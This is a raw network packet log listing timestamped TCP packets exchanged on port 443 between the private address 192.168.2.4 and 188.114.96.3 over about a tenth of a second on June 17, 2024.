Jun 17, 2024 16:18:42.482217073 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.482233047 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.482251883 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.482337952 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.482357979 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.482386112 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.482392073 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.482424021 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.482436895 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.482610941 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.482631922 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.482675076 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.482681036 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.482701063 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.482722044 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.482866049 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.482887983 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.482918024 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.482925892 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.482944965 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.482964993 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.483098984 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.483119011 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.483145952 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.483153105 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.483175993 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.483200073 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.483413935 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.483434916 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.483465910 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.483474016 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.483491898 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.483514071 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.483551979 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.483571053 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.483608961 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.483614922 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.483637094 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.483655930 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.487809896 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.593755960 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.593805075 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.593880892 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.593905926 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.593930006 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.593949080 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.594005108 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.594027996 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.594053984 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.594058990 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.594088078 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.594274998 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.594300985 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.594322920 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.594329119 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.594362974 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.594381094 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.594988108 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.595009089 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.595052958 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.595058918 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.595097065 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.595335007 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.595352888 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.595386028 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.595391989 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.595408916 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.595427036 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.595752954 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.595782042 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.595808029 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.595813036 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.595845938 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.595932961 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.595953941 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.595980883 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.595984936 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596003056 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.596024036 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.596199989 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596227884 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596257925 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.596263885 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596292019 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.596330881 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596357107 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596375942 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.596388102 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596404076 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.596434116 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.596683979 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596710920 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596755981 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.596760988 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596790075 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.596791983 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596808910 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596836090 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596838951 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.596862078 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.596883059 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.596936941 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.597062111 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.597083092 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.597107887 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.597114086 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.597132921 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.597151995 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.597387075 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.597408056 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.597493887 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.597501040 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.597513914 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.597630978 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.597650051 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.597654104 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.597673893 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.597728014 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.597914934 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.597934961 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.597959042 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.597964048 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.597996950 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.598025084 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.598052979 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.598077059 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.598082066 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.598134995 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.598311901 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.598335028 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.598357916 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.598362923 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.598380089 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.598400116 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.598573923 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.598593950 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.598620892 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.598627090 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.598668098 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.598923922 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.598948002 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.598978043 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.598983049 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599000931 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599020958 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599031925 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599055052 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599078894 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599085093 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599107981 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599123955 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599163055 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599188089 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599226952 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599234104 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599281073 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599284887 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599296093 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599322081 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599323034 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599349976 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599354029 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599387884 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599412918 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599837065 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599864006 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599893093 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599899054 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.599921942 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599939108 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.599977970 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600003004 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600028992 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.600033998 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600059032 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.600150108 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600172043 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600197077 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.600202084 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600220919 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.600227118 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600239992 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.600246906 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600260973 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600267887 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.600316048 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.600321054 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600354910 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.600796938 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600820065 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600848913 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.600855112 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600872040 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600879908 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.600886106 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600903034 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600914001 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.600919962 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.600950003 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.600967884 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601032019 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601059914 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601083994 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601089001 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601124048 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601428032 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601450920 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601480961 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601486921 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601506948 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601526022 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601572037 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601592064 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601619959 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601624966 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601650000 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601670027 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601705074 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601725101 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601754904 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601761103 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601790905 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601843119 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601864100 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601886034 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601892948 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.601911068 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.601931095 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.602149963 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602169991 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602310896 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.602317095 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602327108 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602353096 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602359056 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.602366924 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602395058 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.602422953 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.602471113 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602489948 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602519989 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.602525949 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602547884 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.602570057 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.602582932 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602603912 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602624893 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.602631092 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602664948 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.602726936 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.602950096 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.602976084 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603024006 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603030920 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603059053 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603074074 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603094101 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603111029 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603117943 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603136063 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603153944 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603209972 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603246927 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603266954 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603297949 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603302956 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603332043 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603359938 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603586912 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603610992 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603640079 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603646994 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603666067 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603684902 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603734016 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603754997 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603776932 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603782892 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603817940 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603892088 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603914022 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603938103 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603943110 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.603961945 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.603980064 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604022980 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604032040 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604043961 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604065895 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604070902 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604094982 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604115009 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604155064 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604279041 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604298115 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604335070 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604341030 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604372025 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604404926 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604449034 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604469061 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604490995 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604497910 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604526997 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604557991 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604615927 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604635954 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604666948 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604674101 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604688883 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604708910 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604744911 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604772091 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604790926 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604818106 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604823112 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.604846001 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604868889 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.604971886 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605076075 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605094910 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605154037 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605154037 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605159998 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605173111 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605191946 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605246067 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605266094 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605308056 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605314016 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605345011 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.605386972 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.605405092 CEST	443	49731	188.114.96.3	192.168.2.4
